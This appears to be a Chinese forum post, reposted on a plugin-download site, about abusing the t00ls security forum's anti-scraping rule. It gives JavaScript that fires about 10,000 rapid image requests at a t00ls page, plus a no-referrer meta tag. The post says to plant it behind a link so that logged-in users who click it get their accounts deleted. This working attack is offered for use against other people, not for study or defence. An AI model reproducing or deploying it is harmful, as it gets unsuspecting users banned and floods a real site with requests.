看我如何玩t00ls(国内知名安全论坛)

TyCoding · 发表于 2024-8-17 20:57:43

马上注册，免费下载更多dz插件网资源。

您需要登录才可以下载或查看，没有账号？立即注册

×

N年不上土司。今日登录进去发表一个帖子然后长按F5 2秒左右居然被封号了。

最后得知土司开了反采集策略。

看我如何玩t00ls(国内知名安全论坛)

于是开始分析：

如果发送的请求过快那么就会被封（被删号）

看我如何玩t00ls(国内知名安全论坛)

通过实验分析得出反采集策略流程：

符合2个条件才能达到删号条件

1、利用Referer 判断来源

2、利用cookie判断会员是否处于登录状态

如果Referer来路正确并且是会员登录状态那么请求过快就会被删号！！

PS：经过测试只要是Referer为空就好。。。。。

得到这2点，于是我又想到一个邪恶整人的思想。。利用JS来携带cookie 发送请求，我的意思是说在土司发个帖子。点击这个链接。当点击这个链接之后。然后就被封号了。哈哈哈。。。。

JS代码：

  (() => {

   const concurrency = 100

   const total = 10000

   let count = 0

   const onDone = () => {

      count += 1

   }

   const timer = setInterval(() => {



      if (count > total) return clearInterval(timer)

      const img = new Image();

      img.src = 'https://www.t00ls.net/articles-47911.html'



      img.onerror = img.onload = onDone



   }, 1000 / concurrency)

})()

看我如何玩t00ls(国内知名安全论坛)

最后发现失败。原因是referrer 来源不是土司。

在HTML中添加 <meta name="referrer" content="no-referrer">

这样发送请求的时候不会携带referrer

完整代码：

看我如何玩t00ls(国内知名安全论坛)

测试效果：打开链接之后2 3秒左右。

看我如何玩t00ls(国内知名安全论坛)

速度取决于你的网速。。

玩法：发帖添加A标签让人点击

©DZ插件网所发布的一切资源仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。
网站部分内容来源于网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，得到更好的正版服务。
您在本站任何的赞助购买、下载、查阅、回复等行为等均表示接受并同意签订《DZ插件网免责声明协议》。
如有侵权请邮件与我们联系处理: discuzaddons@vip.qq.com 并出示相关证明以便删除。敬请谅解！

看我如何玩t00ls(国内知名安全论坛)

马上注册，免费下载更多dz插件网资源。

回复

More猜你喜欢

关于我们

服务支持

discuzaddons@vip.qq.com